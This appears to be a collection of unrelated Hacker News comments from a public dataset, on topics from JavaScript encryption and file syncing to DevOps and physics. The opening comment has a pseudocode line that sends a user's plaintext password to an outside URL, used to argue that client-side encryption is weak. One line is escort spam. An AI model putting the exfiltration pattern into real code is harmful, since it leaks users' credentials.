skysight-inc/HackerNews huggingface dataset:
You aren't getting it though.

Yes defense in depth is good. But javascript encryption is the weakest link in the chain, it isn't an extra layer of security. This is something that many people seem to have trouble understanding.

As I just said in my original post, if you assume someone can already emulate your domain, all you have to do is edit the javascript to send the unencrypted password to your server and pass the encrypted version to the real server. No amount of layers of security is going to save you from that.

Maybe this pseudocode will help you understand.

function submit(user, pass) {
$.get('http://news.ycombinator.com/dump/?u='+user+'&p='+pass) // you will never notice this
var encrypted = encrypt(pass)
send(user, encrypted)
}
I use Unison file sync: https://www.cis.upenn.edu/~bcpierce/unison/

Does exactly what it says on the tin!
It's actually not a problem for many web developers. If you're working in Rails, Django, etc., you're not going to have the DOCROOT pointed at your top level directory. And .git is only in the top level directory, which is already an improvement over .svn.

But let's say we agree it's an issue and should be fixed. What alternative solution would you propose? You can't just get rid of the "magic file" because it actually contains your version history, the thing you wanted to track in the first place.
Perhaps because you can buy from the page? They might have an editorial style-guide blocking links that might suggested some kind of inferred commercial endorsement.
> I’ve long believed that speed is the ultimate weapon in business. All else being equal, the fastest company in any market will win.

That doesn't follow. "All else being equal, best execution in any market will win". Does that mean, that good execution is the ultimate weapon in business?

Off topic: based on the title, I was expecting some drug addict stories.
Don't disagree that in-person is better but the OP said it was a pre-requisite to applying. I just wasn't surewhy someone would make it a pre-requisite rather than a preference....
I don't remember exactly where, but I do recall someone at YC saying that due to the fact they invest in such a large amount of companies there is bound to be some overlap. I believe they probably try their best to be impartial and try to keep the companies separated. Regardless, you should definitely apply to YCF as it shouldn't impact their overall decision.
Well, where I live (also in the real world) there are many banks that are happy to provide no-fee accounts without any strings attached such as minimum balance).

So the math can't be that laughable. Can you give me an example of the marginal costs of a customer opening an account?

The only way we can have so many banks offering these services for free must be that they have very small marginal costs and/or the average expected future profit from these customers is higher than the marginal costs.

Conversely, the only reason this isn't the situation in the U.S. must be higher marginal costs and/or lower expected future profits.

So, if that reasoning is sound, my question is: what drives the marginal cost up in the US (regulation? low demand for online-only banking e.g due to check use?), or, if that is the case, what drives the expected profit down? Low social mobility? (I.e too low percentage of customers expected to have large savings or mortgages within N years in the same bank)
Took my 2003 Honda Civic into the dealership for an oil change once, afterwords it starting having electrical issues.. the entire car would shut off at seemingly random times. No stearing (not just loss of power steering, but no steering at all), foot break does not work. This happened momentarily several times while on a freeway.

Turns out it was only a loose battery terminal.
No, the recovery codes did expire. I don't remember exactly how the system was checking expirations, but it was obviously not in a way that precluded this attack, though I agree there are several possible ways to check expirations that would've done so. Most likely, the application ignored expiration dates when set to NULL instead of complaining about the invalidity.

Anyone who did not have an active password reset token could have their password reset, because it was selecting users based on their username/email and the user not having an active password reset token (token reset to NULL upon successful password reset, so it wasn't just users who had never reset a password, but also any user who had redeemed their most recent password reset request (obviously, this included practically all users)).
Writing such an exploitable code is entirely forgivable.
However, I would expect such a critical module to be thoroughly unit tested. I am going to venture that it probably was not the case.
1. Optimizing JVM parameters can speed up Scala programs.

2. The Scala compiler is itself a Scala program.

1 + 2 => Optimizing JVM parameters can speed up the Scala compiler.
"Kotlin interfaces are essentially the same as Java interfaces."
Interfaces in Kotlin offer functionality beyond interfaces in Java. In Java interfaces can only have public methods. In Kotlin interfaces can also have (abstract) variables. Both, methods and vars, in Kotlin interfaces can be public and also protected. You need this if you don't want to break the encapsulation of your classes that implement an interface.
If you are living in germany, https://www.dkms.de/en/become-a-donor has you covered. They'll send you a home kit so you don't even need to leave your house to register.
The fabled "working search" is not working that good. After installing SpeedFan, no combination of search could find and launch the program. It had the required start menu entries though.
I don't suppose you're hiring in Brisbane, Australia?
It seems perfectly in line with what I generally see. A hang up usually results in some desperately mashed combination of Esc, Space, and Enter, then clicking on absolutely everything, and finally mashing ctrl-alt-del in the hopes of something happening. The let it do its thing and wait crowd has always been on the higher end of the technical knowledge spectrum.
An ISP of infinity would be quite a lot better than ion thrusters, yes, and that's what they're suggesting.
PTA Banned on BlackBerry Enterprise Server Due to Security Concerns
I'm a manager doing sometimes dev work, so I have a lot of different data to sync. Here are my solutions:
1. Personal - OneDrive for documents, Yandex.Mail+IMAP sync for mail on devices, GitHub for code, OneNote for quick notes on cell phone and Confluence on Atlassian Cloud. I also used for some time Mindmeister.com for storing mind maps online (unfortunately they don't have an app for Windows).
2. Corporate - MS Exchange and lots of services behind VPN (Git, Confluence, SharePoint to name few).
I do the sync up between several devices:
1. Corporate desktop workstation (the most powerful beast for working with code, Windows)
2. Corporate laptop (Windows)
3. Personal tablet (Windows)
4. Personal cell phone (Windows)
Most of the sync up (except Git) happens automatically, so I don't worry about pushing changes to server - just open the document/email on phone that I've recently edited on tablet or laptop.
The only trickiest part is development environment setup (IDE settings, app/web server configs, build system configs etc): I've unified the setup of all my devices, so it will be easier to transfer them with scripting (I'm using PowerShell). I've also set up simplicity of dev. environment setup as a team goal at work, so everyone could pick up the code on bare machine and be ready for debug in 10-15 mins max. Most of this achieved by following conventions, that are either standard or recommended by vendor of software, and using the right tool, rather than generic solution.
Despite I'm using Windows, half of my team works the same way on Macs. I'm pretty sure this is also possible on Linux.
Automatically add referral spam filters to your Google Analytics account
On the other hand, the current theory of the EmDrive predicted exactly that amount of thrust for the given configuration.
And when the library is not packaged in the repo, should I then build the package myself ?

If we were in an ideal world we would do that, but unfortunately we're not, and in my experience it's way easier for the dev AND for the sysadmin to use Maven and build a fat jar.
If that's a subject you find interesting, you can also read the source for two OSS .NET decompilers:

ILSpy: https://github.com/icsharpcode/ilspy

JustDecompile: https://github.com/telerik/JustDecompileEngine/

Both are based on the same library that is used in the post: Mono.Cecil (https://github.com/jbevain/cecil).
Rowhammer.js: A Remote Software-Induced Fault Attack in JavaScript [pdf]
Also, 30mb.
PostCSS – Sass Killer or Preprocessing Pretender?
Many people have different interpretations of the term 'DevOps', but what you're describing in that first paragraph is Continuous Deployment.

Yes, it's related to (in that it's often a beneficial result of) but it's not explicitly the same as DevOps, by any definition I've seen, good or bad.
You can finally translate Jimdo sites with one line of code
Personalized marketing – the Microsoft way
The restart is like 5 seconds or so. Of course, it depends on Image. Please keep in mind that Ephemeric instances are not able to save data to a local disk, so there will be restrictions on using SandstoneDb.

To store data you may run Mongo DB and configure a secure channel from the ephemeric or just use Pharo appliance at Pharocloud - with disk, no restarts and without other ephemeric restrictions so you will be able to use SandstoneDb on a full scale.
Cool. Thanks. Definitely looks interesting and the're only on .5 preview but you can see it's starting to take shape. I don't really ever use the "Enterprise" stuff on vs professional, just the editor, debugger, and the git integration has been nice to have.

https://code.visualstudio.com/Docs/languages
https://code.visualstudio.com/updates#_debugging
> The way developers somehow think DevOps is (or should be) an abbreviation of "Developers doing/replacing Operations" is terrifying to me.

And what about the way management thinks that's when you don't have to pay Operations people (those guys who always try to stop progress in your company)?
I've tried few approaches, which worked quite well:

- Linux on DigitalOcean droplet through ssh/mosh+tmux (usage of CLI/TUI software and stable network connection is required)

- full Linux system on USB 3.0 flash drive (reliable backup configuration is required)

Now I use similar Linux desktops on each desktop/laptop with:

- notes syncing using unison

- mail stored on mail server and accessed through IMAP client (mutt)

- dotfiles managed with git repository

- projects managed with various VCSes

- sensible data managed with pass/gpg
Probably not. I have "downvoted" bunch of them to just see the next one, until I realized that I'm really downvoting them.
Varoufakis didn't care about his crazy plans destroying the economy, because he only intended to use them as a threat. "Give us what we want or we will crash out of the Euro!"

And then the people on the other side of the table said: "Excellent, go on!"

Not only did the Troika believe that in the end the Greek government would "roll over and give in to their proposals": many EU governments and officials actually preferred the alternative.

The negotiations of the past weeks have shown that not only Greece was bluffing about leaving the Euro, but that other countries would be more than happy to let them leave.
"This particular guard had never beaten him and had always been polite. The guard saluted Bras. Bras looked away, refusing to return the salute.

“Until now, I regret it,” Bras says. “I often think of it.”"

This is also very profound, it's usually things we haven't done which come haunting us through the years.
zerotier-one (https://www.zerotier.com/) is useful to create a consistent network between individual nodes in different places. You can then use consistent hostnames to connect to a given node on the zerotier network instead of having to think about where a particular node is connected.

I've tried using BTSync and syncthing (https://syncthing.net/) to automatically keep directories in sync with each other, but there's quite an overhead to have real-time change propagation and it doesn't seem to add much value if you aren't actually using the remote nodes at the same time. Instead I've reverted to using Unison (http://www.cis.upenn.edu/~bcpierce/unison/) when I've finished working in one location and want to push those changes to another node.
So they're going to cut their CPU R&D and become a generic ARM IP integrator, plus their GPU and radio-frequency circuits (Adreno GPU, GSM, WiFi, GPS). Next moves could be discarding their own GPU for the ARM generic ones (Mali) and using 3rd party IP for the radio. Scary.
> (--checksum is essential to prevent corruption/malicious modification, without it you are implicitly assuming the version on the remote machine is exactly how you left it: that assumption is why Linus built git around shasum in the first place)

That's not true (though not completely wrong).

rsync is stateless. It does not assume the version on the remote machine is "exactly how you left it"; Rather, it compares file size and file modification time; if either changed, it will do a transfer -- efficient delta transfer, usually - which might be as little as 6 bytes if the contents is exactly the same.

--checksum makes it ignore file size or modification time, and compare the file checksum in order to decide if it's time for a transfer (delta or not).

A malicious actor, or bad memory chips, might change your file's contents, but keep the file size and time/date the same. In that case, --checksum will overwrite that file with your source version, and a --no-checksum wouldn't. So it's not bad advice. Whether the cost in disk activity is worth it depends on your thread model, data size, and disk activity costs. (Though, if corruption is due to bad memory, this is the least of your problems)

However, a corruption because of a program error / incompetent edit to the file is very unlikely to leave both the size and modification date intact - and a standard rsync will figure that out as well.
Never understood why debian ended as the distribution of choice of the DevOps-related movements. Ubuntu is understandable - developers used it on their desktops so when they orderer their first VPS, they chose ubuntu. But why debian?

Also why it looks like RHEL family is completely out of fashion? Is it considered too "enterprisy"?
Yes, that would be a waste of time. But in the past I've gotten in the habit of commenting things in the database for larger projects, and have written a bunch of tools to extract those comments and generate database documentation from it. For large databases (table-wise, not data-wise), it's been absolutely invaluable to be able to just take the DB docs and reason about how stuff works in there. "Oh, this table is fed by a trigger from table X!", "Ah, the `system` table contains non-tenant specific global system settings". Stuff like that.

Yeah, in a perfect world everything in a database would be obvious from its name, but this is not a perfect world and naming things properly is extremely hard.
"They laughed at Columbus, they laughed at Fulton, they laughed at the Wright brothers.

But they also laughed at Bozo the Clown."
So what? What money is there in KDE as a whole?
I get that.
Hi jbevain :-) Nice to see you here! Having a tiny switch to a new blog engine, but next part should come up soon enough. Have a nice day, and once more. You rock!
We're comparing one-time fixed-length code. Is it necessary?
In this case the tests weren't even normalized, this is one of the 1st tests that was conducted in vacuum under shielding, many of the earlier tests were not even thermally or electromagnetically shielded, considering the tiny amounts of thrust generated by both the "predictions" and the tests pressure difference due to thermal variance as well as magnetic forces could explain it just as well.

I also have a strong gut feeling that this some none issue but it never hurts to test it the US, Russia, China and to lesser Extent the UK, France and other European powers have all conducted studies into ESP, the cost of such testing is ridiculously low compared to the potential discovery.

When it costs near to nothing to explore a phenomenon that can change how we understand physics it's worth exploring no matter how ridiculous it is.
Please suggest 2d engine as nice as Unity ;-)
But shareholders are people who actually own the place. And if you own something, you are in charge: even if you own something collectively, and hire a manager to make immediate decisions, you have the power to [collectively] tell that manager what do you want him to do.

Abstract "business inetersts" only serve to earn money to business's owners in the end. Being a market leader is only a means to an end of making money for the owners. If the people who own the place decide, for whatever reason, that they don't need long-term development and want quick money now instead, let them be: it's their decision to make.

Now, it is possible that shareholders don't act in their true interests, and they should be thinking about long-term value instead, because that way they'll earn more money in the end. But it's them who you need to convince of that, and the argument should be structured completely differently. Blaming CEO of the company forthe fact that he does exactly what his collective bosses tell him to do, instead of thinking of abstract "business interests" (that exist just to earn money to his bosses) and employees (to whom his company is responsible only in the extents of their employment agreements) is ridiculous.
I keep my dotfiles in git, and I was setting up my new laptop the other day, so I figured I'd do it right. I added an Ansible file to provision the laptop from scratch. It installs all my packages, tools, preferences, etc, and it also goes and gets my repos from a server and puts them in the right places.

It's idempotent, so whenever I need to make a config change, I just change that file and run "provision", and everything is the same across machines. I'm not sure if this answers all of your questions, but it's good enough for work (personal data can go on something like Dropbox or Syncthing).
I hate the term "activist investor", "robber baron" or "corperate raider" is more apt in so many cases.
Essentially everybody has heard about 2 and 3, as well as Rowanda, which you left out, but a quick look to wikipedia shows that most of the people who died in 1 died of disease and malnutrition and also that the conflict to place in Congo.

Basically there is a place in the world that is consistently behind the rest - sub saharan Africa - where all your examples, other than the one in Bosnia, came from.

And Bosnia is arguably a very important exception, at least I don't recall any other genocides in the developed world since 1950.
They were thinking about how to make it work instead of how to make it break. Classic mistake (e.g. [1]).

1: https://www.youtube.com/watch?v=vKA4w2O61Xo
Yep, I backed one of those. Too bad it didn't work out...
Which is funny because the reason Qualcomm screwed up recently (besides all the anti-competitive/antitrust issues) is because it didn't come out with its own next-generation custom CPU core sooner, and had to use stock ARM IP which I guess it didn't have much experience in handling.

The shareholders' "solution" is what will destroy the company. Qualcomm would've been fine in the next 2 quarters, once it passed the Snapdragon 810 generation.

I don't know why they freaked out so badly after just one bad quarter (and after Qualcomm has constantly grown for the past 5 years) to the point where they want to split the company. That seems rather crazy. I wonder if there's something else besides next-quarter-profit thinking behind this motivation.
I would dispute the idea that packaging your web-app (which is what the article is talking about) into a .deb or .rpm is a standard practice.
Relevant essay by Asimov: The Relativity of Wrong

http://chem.tufts.edu/answersinscience/relativityofwrong.htm
I'm pretty sure the discussion was about valuation / market cap:

> At any reasonable estimate of Valve's revenue and valuation multiples, they're easily a billion dollar company
That makes sense, but that's not how I interpret "nobody wants to see new physics" in the ancestor comment. (But who knows.)

I mean, wouldn't it be really frustrating to find out the law of conservation of momentum is not universal? Exciting, but also frustrating? Maybe even embarassing for physics? It would be like someone proving P=NP.
Sultangazi Fetish escort Şebnem
By "performance" I think you specifically mean "startup time."

I think there is a big difference between startup time and runtime performance. It is well-known and fully acknowledged by the Clojure community that starting up a Clojure environment and REPL takes a while. But are you also suggesting there is a problem with Clojure runtime performance?
You're comparing an editor to an Integrated Development Environment. It's really apples and oranges.

The pure editor part of VS (and most IDE's) is probably worse than emacs/vim. However, you do not get refactoring, profiling, source-control, code-sensitive completion and all that other jazz that IDE's provide, all in one package and in more-or-less the same interface.

Sure, there's probably plugins for vim/emacs that do all of these, but do they all work together well and how much time/expertise do you need to set them up.

Now that doesn't necessarily make an IDE better, I fully expect some people do code faster/better in vim than in VS, but it certainly provides a lot of added value/features.
Only as long as the new physics is in your little sphere of influence so you can keep the grant money gravy train flowing. Presumably.
https://news.ycombinator.com/item?id=838981 - similar breach was reported in 2009. It focused on .ru part of internet and got a bunch of big names.
Thank you for your comment! :-)

Haha, yep I do agree that I did not cover all important aspects of writing a decompiler. Neither did I use a stack based solution to tackle the problem.

A reminder though, the idea behind this post was to cover a little bit of everything, just trying to make it as simple as possible. This is not a fully fledged decompiler and will not decompile everything. It is to give an idea on how CIL works, how to use Mono.Cecil, and just hacking away!

Next part of the tutorial DO actually manage the stack to try and create a more complex solution. Together with code refactoring and more.

And I'm sorry for any information that I've might have forgotten and/or for any poorly written code. I will try and do better next time. Yet I hope you still like the article.

/zerratar
Learning from the Enemy: The Gunman Project (2007) [pdf]
A fair reading of that part would assume that I meant truths like, "the cosmos is expanding", not philosophical truths.
from the wikipedia ion thruster article:

> Ion thrusters have an input power spanning 1–7 kilowatts, exhaust velocity 20–50 kilometers per second, thrust 20–250 millinewtons and efficiency 60–80%.[1][2]

3 orders of magnitude less thrust than for not needing to accelerate any fuel all the way into orbit? i'll tell you space companies will send trucks full of money to anyone who can make a reliable one.
Zuckerberg sues ‘Facebook for Christians’
Please review HN's guidelines on civility.
How did it turn out? As far as I can tell, the last time you published something about it was the blogpost[1] from 9th February 2013 where you said that 5 MVPs were greenlighted. Did any of them gain any significant traction?

[1] http://hnproposition.blogspot.cz/2013/02/first-5-mvps-green-...
Habits for Agile Testing